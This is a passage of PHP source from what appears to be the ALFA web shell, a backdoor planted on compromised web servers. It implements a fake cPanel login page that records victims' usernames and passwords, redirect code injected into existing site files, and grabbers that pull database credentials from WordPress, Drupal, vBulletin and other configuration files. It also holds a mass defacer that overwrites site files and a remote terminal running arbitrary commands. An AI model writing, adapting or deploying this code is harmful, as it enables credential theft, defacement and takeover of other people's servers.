                $cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["' . $post_user . '"];$pass = $_POST["' . $post_pass . '"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["' . $cookie_name . '"])){@setcookie("' . $cookie_name . '", 0, $cook_time, "/");$_COOKIE["' . $cookie_name . '"]=1;}if((int)$_COOKIE["' . $cookie_name . '"]>' . $count . '){@header("Location: /");exit;}@setcookie("' . $cookie_name . '", ((int)$_COOKIE["' . $cookie_name . '"] + 1), $cook_time, "/");$fp = @fopen("' . $logto . '", "a+");@fwrite($fp, $user . " : " . $pass . "\\n");fclose($fp);sleep(3);' . $resp_code . 'exit;}?>';
                @file_put_contents($fake_root . '/log.php', $cpanel_log);
                if ($panel == "cpanel") {
                    $fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="' . $target . '/$2">', '<img class="main-logo" src="' . $target . '/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
                }
                @file_put_contents($fake_root . '/index.php', $fake);
                $inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["' . $cookie_name . '"]<' . $count . '){@include("' . $fake_root . '/index.php");exit;}?>';
                $bind_on_code = '<?php if((int)$_COOKIE["' . $cookie_name . '"]<' . $count . '){@header("Location: ' . $uri . '");exit;}?>';
                @file_put_contents($inject_to, $inject_code . "\n" . @file_get_contents($inject_to));
                @file_put_contents($bind_on, $bind_on_code . "\n" . @file_get_contents($bind_on));
                echo "success...!";
            } else {
                echo "failed...!";
            }
        } else {
            echo "<div style='text-align:center;color:red;'>Cannot open the target...!</div>";
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaarchive_manager()
{
    alfahead();
    $file = $_POST['alfa2'];
    if (!file_exists($file)) {
        $file = $GLOBALS['cwd'];
    }
    $rand_id = rand(9999, 999999);
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Archive Manager |</div></p>";
    echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Archive file: <input size="50" id="target" type="text" name="file" value="' . $file . '">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
    if ($_POST['alfa5'] == '>>') {
        echo '<hr><div style="margin-left: 12px;" archive_full="phar://' . $file . '" archive_name="' . basename($file) . '" id="archive_dir_' . $rand_id . '" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
        echo '<div style="padding: 10px;" id="archive_base_' . $rand_id . '">';
        __alfa_open_archive_file($file, $rand_id);
        echo "</div>";
    }
    echo "</div>";
    alfafooter();
}
function __alfa_open_archive_file($arch, $base_id = 0)
{
    try {
        $files = array();
        $dirs = array();
        $archive = new PharData($arch);
        foreach ($archive as $file) {
            $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
            if ($file->isDir()) {
                $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
            } else {
                $file_size = @filesize($file->getPathname());
                $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
            }
        }
        function __alfa_open_archive_usort($a, $b)
        {
            return strcmp(strtolower($a['name']), strtolower($b['name'])) * 1;
        }
        usort($dirs, "__alfa_open_archive_usort");
        usort($files, "__alfa_open_archive_usort");
        $files = array_merge($dirs, $files);
        echo "<table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>";
        $icon = '<img class="archive-icons" src="' . findicon('..', 'dir') . '" width="30" height="30">';
        echo '<tr><th><a base_id="' . $base_id . '" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="' . dirname($arch . '.php') . '">' . $icon . '<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
        foreach ($files as $file) {
            $icon = '<img class="archive-icons" src="' . findicon($file['name'], $file['type']) . '" width="30" height="30">';
            if ($file["type"] == "dir") {
                echo '<tr><th><a base_id="' . $base_id . '" class="archive-file-row" onclick="alfaOpenArchive(this);" path="' . $file["path"] . '" fname="' . $file["name"] . '">' . $icon . '<span class="archive-name archive-type-dir">| ' . $file["name"] . ' |</span></a><td>dir</td><td>' . $file["modify"] . '</td><td>-</td></tr>';
            } else {
                echo "<tr><th><a base_id='" . $base_id . "' class='archive-file-row' onclick=\"editor('" . $file["path"] . "','auto','','','','file');\">" . $icon . "<span class='archive-name archive-type-file' fname='" . $file["name"] . "'>" . $file["name"] . "</span></a><td>" . alfaSize($file["size"]) . "</td><td>" . $file["modify"] . "</td><td>-</td></tr>";
            }
        }
        echo "</table>";
    } catch (Exception $e) {
        echo "0";
    }
}
function alfaopen_archive_dir()
{
    $dir = $_POST["alfa1"];
    $base_id = $_POST["alfa2"];
    __alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Config Grabber |</div></p>";
    echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Dir: <input size="50" id="target" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
	Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
    $dir = $_POST['alfa2'];
    $ext = $_POST['alfa3'];
    if ($_POST['alfa5'] == '>>') {
        echo __pre();
        Alfa_ConfigGrabber($dir, $ext);
    }
    echo "</div>";
    alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext)
{
    $pattern = "#define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
    $db_files = array("wp-config.php", "configure.php", "config.inc.php", "configuration.php", "config.php", "conf.php", "dbclass.php", "class_core.php", "dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
    if (@is_readable($dir)) {
        $globFiles = @glob("{$dir}/*.{$ext}");
        $globDirs = @glob("{$dir}/*", GLOB_ONLYDIR);
        $blacklist = array();
        foreach ($globDirs as $dir) {
            if (!@is_readable($dir) || @is_link($dir)) {
                continue;
            }
            @Alfa_ConfigGrabber($dir, $ext);
        }
        foreach ($globFiles as $file) {
            $filee = @file_get_contents($file);
            if (preg_match($pattern, $filee)) {
                echo "<div><span>{$file}</span> <a style='cursor:pointer;' onclick=\"editor('" . $file . "','auto','','','','file');\">[ View file ]</a></div>";
            }
        }
    }
}
function alfasearcher()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Searcher |</div></p><h3><a href=javascript:void(0) onclick=\"g('searcher',null,'file')\">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick=\"g('searcher',null,'str')\">| Find Files By Name | </a></h3></center>";
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'file') {
        echo '<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
        $dir = $_POST['alfa2'];
        $ext = $_POST['alfa3'];
        $method = $_POST['alfa4'];
        if ($_POST['alfa5'] == '>>') {
            echo __pre();
            if (substr($dir, -1) == '/') {
                $dir = substr($dir, 0, -1);
            }
            Alfa_Searcher($dir, trim($ext), $method);
        }
    }
    if ($_POST['alfa1'] == 'str') {
        echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
        $dir = $_POST['alfa2'];
        $string = $_POST['alfa3'];
        $ext = $_POST['alfa5'];
        if (!empty($string) and !empty($dir) and $_POST['alfa4'] == '>>') {
            echo __pre();
            Alfa_StrSearcher($dir, $string, $ext, $_POST['alfa6']);
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaMassDefacer()
{
    alfahead();
    AlfaNum(5, 6, 7, 8, 9, 10);
    echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
    echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
	Mass dir: <input size="50" id="target" type="text" name="massdir" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
	DefPage: <input size="50" type="text" name="defpage" value="' . htmlspecialchars($GLOBALS['cwd']) . '"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
    $dir = $_POST['alfa1'];
    $defpage = $_POST['alfa2'];
    $method = $_POST['alfa3'];
    $fCurrent = $GLOBALS['__file_path'];
    if ($_POST['alfa4'] == '>>') {
        if (!empty($dir)) {
            if (@is_dir($dir)) {
                if (@is_readable($dir)) {
                    if (@is_file($defpage)) {
                        if ($dh = @opendir($dir)) {
                            echo __pre();
                            while (($file = @readdir($dh)) !== false) {
                                if ($file == '..' || $file == '.') {
                                    continue;
                                }
                                $newfile = $dir . $file;
                                if ($fCurrent == $newfile) {
                                    continue;
                                }
                                if (@is_dir($newfile)) {
                                    Alfa_ReadDir($newfile, $method, $defpage);
                                } else {
                                    if (!@is_writable($newfile)) {
                                        continue;
                                    }
                                    if (!@is_readable($newfile)) {
                                        continue;
                                    }
                                    Alfa_Rewriter($newfile, $file, $defpage, $method);
                                }
                            }
                            closedir($dh);
                        } else {
                            __alert('<font color="red">Error In OpenDir...</font>');
                        }
                    } else {
                        __alert('<font color="red">DefPage File NotFound...</font>');
                    }
                } else {
                    __alert('<font color="red">Directory is not Readable...</font>');
                }
            } else {
                __alert('<font color="red">Mass Dir is Invalid Dir...</font>');
            }
        } else {
            __alert('<font color="red">Dir is Empty...</font>');
        }
    }
    echo "</div>";
    alfafooter();
}
function Alfa_ReadDir($dir, $method = '', $defpage = '')
{
    if (!@is_readable($dir)) {
        return false;
    }
    if (@is_dir($dir)) {
        if ($dh = @opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == '..' || $file == '.') {
                    continue;
                }
                $newfile = $dir . '/' . $file;
                if (@is_readable($newfile) && @is_dir($newfile)) {
                    Alfa_ReadDir($newfile, $method, $defpage);
                }
                if (@is_file($newfile)) {
                    if (!@is_readable($newfile)) {
                        continue;
                    }
                    Alfa_Rewriter($newfile, $file, $defpage, $method);
                }
            }
            closedir($dh);
        }
    }
}
function Alfa_Rewriter($dir, $file, $defpage, $m = 'index')
{
    if (!@is_writable($dir)) {
        return false;
    }
    if (!@is_readable($dir)) {
        return false;
    }
    $defpage = @file_get_contents($defpage);
    if ($m == 'index') {
        $indexs = array('index.php', 'index.htm', 'index.html', 'default.asp', 'default.aspx', 'index.asp', 'index.aspx', 'index.js');
        if (in_array(strtolower($file), $indexs)) {
            @file_put_contents($dir, $defpage);
            echo @is_file($dir) ? $dir . "<b><font color='red'>DeFaced...</b></font><br>" : '';
        }
    } elseif ($m == 'all') {
        @file_put_contents($dir, $defpage);
        echo @is_file($dir) ? $dir . "  <b><font color='red'>DeFaced...</b></font><br>" : '';
    }
}
function alfaGetDisFunc()
{
    alfahead();
    echo "<div class=\"header\">";
    $disfun = @ini_get('disable_functions');
    $s = explode(',', $disfun);
    $f = array_unique($s);
    echo "<center><br><b><font color=\"#7CFC00\">Disable Functions</font></b><pre><table border=\"1\"><tr><td align=\"center\" style=\"background-color: green;color: white;width:5%\">#</td><td align=\"center\" style=\"background-color: green;color: white;\">Func Name</td></tr>";
    $i = 1;
    foreach ($f as $s) {
        $s = trim($s);
        if (function_exists($s) || !is_callable($s)) {
            continue;
        }
        echo '<tr><td align="center" style="background-color: black;">' . $i . '</td>';
        echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.' . str_replace('_', '-', $s) . '.php"><span class="disable_functions"><b>' . $s . '</b></span></a></td>';
        $i++;
    }
    echo "</table></center>";
    echo "</div>";
    alfafooter();
}
function Alfa_Create_A_Tag($action, $vals)
{
    $nulls = array();
    foreach ($vals as $key => $val) {
        echo '<a href=javascript:void(0) onclick="g(\'' . $action . '\',';
        for ($i = 1; $i <= $val[1] - 1; $i++) {
            $nulls[] = 'null';
        }
        $f = implode(',', $nulls);
        echo $f . ',\'' . $val[0] . '\');return false;">| ' . $key . ' | </a>';
        unset($nulls);
    }
}
function Alfa_Searcher($dir, $ext, $method)
{
    if (@is_readable($dir)) {
        if ($method == 'all') {
            $ext = '*';
        }
        if ($method == 'dirs') {
            $ext = '*';
        }
        $globFiles = @glob("{$dir}/*.{$ext}");
        $globDirs = @glob("{$dir}/*", GLOB_ONLYDIR);
        $blacklist = array();
        foreach ($globDirs as $dir) {
            if (!@is_readable($dir) || @is_link($dir)) {
                continue;
            }
            @Alfa_Searcher($dir, $ext, $method);
        }
        switch ($method) {
            case "files":
                foreach ($globFiles as $file) {
                    if (@is_writable($file)) {
                        echo "{$file}<br>";
                    }
                }
                break;
            case "dirs":
                foreach ($globFiles as $file) {
                    if (@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)) {
                        echo dirname($file) . '<br>';
                        $blacklist[] = dirname($file);
                    }
                }
                break;
            case "all":
                foreach ($globFiles as $file) {
                    echo $file . '<br>';
                }
                break;
        }
        unset($blacklist);
    }
}
function AlfaiFrameCreator($f, $width = '100%', $height = '600px')
{
    return "<iframe src=\"ALFA_DATA/" . $f . '" width="' . $width . '" height="' . $height . '" frameborder="0"></iframe>';
}
class AlfaCURL
{
    public $headers;
    public $user_agent;
    public $compression;
    public $cookie_file;
    public $proxy;
    public $path;
    public $ssl = true;
    public $curl_status = true;
    function __construct($cookies = false, $compression = 'gzip', $proxy = '')
    {
        if (!extension_loaded('curl')) {
            $curl_status = false;
            return false;
        }
        $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
        $this->headers[] = 'Connection: Keep-Alive';
        $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
        $this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
        $this->path = "ALFA_TEMPDIR/Alfa_cookies.txt";
        $this->compression = $compression;
        $this->proxy = $proxy;
        $this->cookies = $cookies;
        if ($this->cookies) {
            $this->cookie($this->path);
        }
    }
    function cookie($cookie_file)
    {
        if (_alfa_file_exists($cookie_file, false)) {
            $this->cookie_file = $cookie_file;
        } else {
            @fopen($cookie_file, 'w') or die($this->error('The cookie file could not be opened.'));
            $this->cookie_file = $cookie_file;
            @fclose($this->cookie_file);
        }
    }
    function Send($url, $method = "get", $data = "")
    {
        if (!$this->curl_status) {
            return false;
        }
        $process = curl_init($url);
        curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
        curl_setopt($process, CURLOPT_HEADER, 0);
        curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
        curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($process, CURLOPT_ENCODING, $this->compression);
        curl_setopt($process, CURLOPT_TIMEOUT, 30);
        if ($this->ssl) {
            curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false);
        }
        if ($this->cookies) {
            curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
            curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
        }
        if ($this->proxy) {
            curl_setopt($process, CURLOPT_PROXY, $this->proxy);
        }
        if ($method == 'post') {
            curl_setopt($process, CURLOPT_POSTFIELDS, $data);
            curl_setopt($process, CURLOPT_POST, 1);
            curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
        }
        $return = @curl_exec($process);
        curl_close($process);
        return $return;
    }
    function error($error)
    {
        echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>{$error}</div></center>";
        die;
    }
}
function getConfigHtml($cms)
{
    $content = '';
    $cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke", "phpbb" => "PHPBB", "mybb" => "MyBB", "drupal" => "Drupal", "smf" => "SMF");
    $content = "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
    foreach ($cms_array as $key => $val) {
        $content .= "<option value='{$key}' " . ($key == $cms ? 'selected=selected' : '') . ">{$val}</option>";
    }
    $content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='" . $_SERVER['DOCUMENT_ROOT'] . "/' size='30' /> <button class='button'>GetConfig</button>";
    $content .= "</form>";
    return $content;
}
if (!function_exists('json_encode')) {
    function json_encode($a = false)
    {
        if (is_null($a)) {
            return "null";
        }
        if ($a === false) {
            return "false";
        }
        if ($a === true) {
            return "true";
        }
        if (is_scalar($a)) {
            if (is_float($a)) {
                return floatval(str_replace(",", ".", strval($a)));
            }
            if (is_string($a)) {
                static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\\"'));
                return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
            } else {
                return $a;
            }
        }
        $isList = true;
        for ($i = 0, reset($a); $i < count($a); $i++, next($a)) {
            if (key($a) !== $i) {
                $isList = false;
                break;
            }
        }
        $result = array();
        if ($isList) {
            foreach ($a as $v) {
                $result[] = json_encode($v);
            }
            return '[' . join(',', $result) . ']';
        } else {
            foreach ($a as $k => $v) {
                $result[] = json_encode($k) . ':' . json_encode($v);
            }
            return '{' . join(',', $result) . '}';
        }
    }
}
if (!function_exists('json_decode')) {
    function json_decode($json, $array = true)
    {
        $comment = false;
        $out = '$x=';
        for ($i = 0; $i < strlen($json); $i++) {
            if (!$comment) {
                if ($json[$i] == '{' || $json[$i] == '[') {
                    $out .= ' array(';
                } else {
                    if ($json[$i] == '}' || $json[$i] == ']') {
                        $out .= ')';
                    } else {
                        if ($json[$i] == ':') {
                            $out .= '=>';
                        } else {
                            $out .= $json[$i];
                        }
                    }
                }
            } else {
                $out .= $json[$i];
            }
            if ($json[$i] == '"') {
                $comment = !$comment;
            }
        }
        eval($out . ';');
        return $x;
    }
}
function alfaterminalExec()
{
    $pwd = "pwd";
    $seperator = ";";
    if ($GLOBALS['sys'] != 'unix') {
        $pwd = "cd";
        $seperator = "&";
    }
    if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
        $cmd = "cd '" . addslashes($_POST["c"]) . "'" . $seperator;
    }
    $current_path = '';
    if (preg_match("/cd[ ]{0,}(.*)[ ]{0,}" . $seperator . "|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)) {
        if (empty($match[1])) {
            $match[1] = $match[2];
        }
        $current_path = alfaEx("cd " . addslashes($match[1]) . $seperator . $pwd);
        $current_path = str_replace("\\", "/", $current_path);
    }
    $out = alfaEx($cmd . $_POST['alfa1'], true);
    $out = htmlspecialchars($out);
    echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code)
{
    $dictionary = array('[01;30m' => '<span style="color:black">', '[01;31m' => '<span style="color:red">', '[01;32m' => '<span style="color:green">', '[01;33m' => '<span style="color:yellow">', '[01;34m' => '<span style="color:blue">', '[01;35m' => '<span style="color:purple">', '[01;36m' => '<span style="color:cyan">', '[01;37m' => '<span style="color:white">', '[0m' => '</span>');
    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
    return $htmlString;
}
function alfadoActions()
{
    $chdir_fals = false;
    if (!@chdir($_POST['c'])) {
        $chdir_fals = true;
        $alfa_canruncmd = _alfa_can_runCommand(true, true);
    }
    if (isset($_POST['alfa1'])) {
        $_POST['alfa1'] = rawurldecode($_POST['alfa1']);
    }
    if (isset($_POST['alfa2'])) {
        $_POST['alfa2'] = rawurldecode($_POST['alfa2']);
    }
    $action = $_POST["alfa3"];
    if ($action == "permission") {
        $perms = 0;
        $perm = $_POST["alfa2"];
        for ($i = strlen($perm) - 1; $i >= 0; --$i) {
            $perms += (int) $perm[$i] * pow(8, strlen($perm) - $i - 1);
        }
        if (@chmod($_POST['alfa1'], $perms)) {
            echo "done";
        } else {
            echo "no";
        }
        return;
    }
    if ($action == "rename" || $action == "move") {
        $alfa1_decoded = $_POST['alfa1'];
        if ($chdir_fals) {
            $_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
        }
        $_POST['alfa1'] = trim($_POST['alfa1']);
        $alfa1_escape = addslashes($_POST["alfa1"]);
        if ($_POST["alfa3"] == "rename") {
            $_POST['alfa2'] = basename($_POST['alfa2']);
        }
        if (!empty($_POST['alfa2'])) {
            $cmd_rename = false;
            if ($chdir_fals && $alfa_canruncmd) {
                if (_alfa_is_writable($_POST['alfa1'])) {
                    $cmd_rename = true;
                    $alfa1_escape = addslashes($alfa1_decoded);
                    alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa2']) . "'");
                }
            }
            if (!file_exists($_POST['alfa2'])) {
                if (@rename($_POST['alfa1'], $_POST['alfa2']) || $cmd_rename) {
                    echo "done";
                } else {
                    echo "no";
                }
            } else {
                echo "no";
            }
        }
    } elseif ($action == "copy") {
        if (is_dir($_POST["alfa1"])) {
            $dir = str_replace('//', '/', $_POST["alfa1"]);
            $dir = explode('/', $dir);
            if (empty($dir[count($dir) - 1])) {
                $name = $dir[count($dir) - 2];
            } else {
                $name = $dir[count($dir) - 1];
            }
        } else {
            $name = basename($_POST["alfa1"]);
        }
        $dir = dirname($_POST["alfa1"]);
        if ($dir == ".") {
            $dir = $_POST["c"] . "/";
        }
        if (is_file($_POST["alfa1"])) {
            @copy($_POST["alfa1"], $_POST["alfa2"]);
            echo "done";
        } elseif (is_dir($_POST["alfa1"])) {
            if (!is_dir($_POST["alfa2"])) {
                mkdir($_POST["alfa2"], 0755, true);
            }
            copy_paste($dir, $name, $_POST["alfa2"] . "/");
            echo "done";
        }
    } elseif ($action == "modify") {
        if (!empty($_POST['alfa1'])) {
            $time = strtotime($_POST['alfa1']);
            if ($time) {
                $touched = false;
                if ($chdir_fals && $alfa_canruncmd) {
                    alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa1'])) . "' '" . addslashes($_POST['alfa2']) . "'");
                    $touched = true;
                }
                if (!@touch($_POST['alfa2'], $time, $time) && !$touched) {
                    echo "no";
                } else {
                    echo "ok";
                }
            } else {
                echo "badtime";
            }
        }
    }
}
function alfaget_flags()
{
    $flags = array();
    if (function_exists("curl_version")) {
        $curl = new AlfaCURL();
        $server_addr = !@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"];
        $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
        $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
        if (strpos($flag2, "geoplugin") != false) {
            $flag = json_decode($flag, true);
            $flag2 = json_decode($flag2, true);
            if (!empty($flag['geoplugin_countryCode'])) {
                $flags["server"]["name"] = $flag['geoplugin_countryName'];
                $flags["server"]["code"] = $flag['geoplugin_countryCode'];
            }
            if (!empty($flag2['geoplugin_countryCode'])) {
                $flags["client"]["name"] = $flag2['geoplugin_countryName'];
                $flags["client"]["code"] = $flag2['geoplugin_countryCode'];
            }
        }
    }
    echo json_encode($flags);
}
function alfaGetConfig()
{
    $cms = $_POST['alfa1'];
    $path = trim($_POST['alfa2']);
    $config = array('wp' => array('file' => '/wp-config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 1)), 'drupal' => array('file' => '/config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1)), 'drupal2' => array('file' => '/sites/default/settings.php', 'host' => array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbname' => array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbuser' => array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbpw' => array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'prefix' => array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1)), 'vb' => array('file' => '/includes/config.php', 'host' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")servername(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbuser' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")username(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbname' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")dbname(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbpw' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'prefix' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")tableprefix(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3)), 'phpnuke' => array('file' => '/config.php', 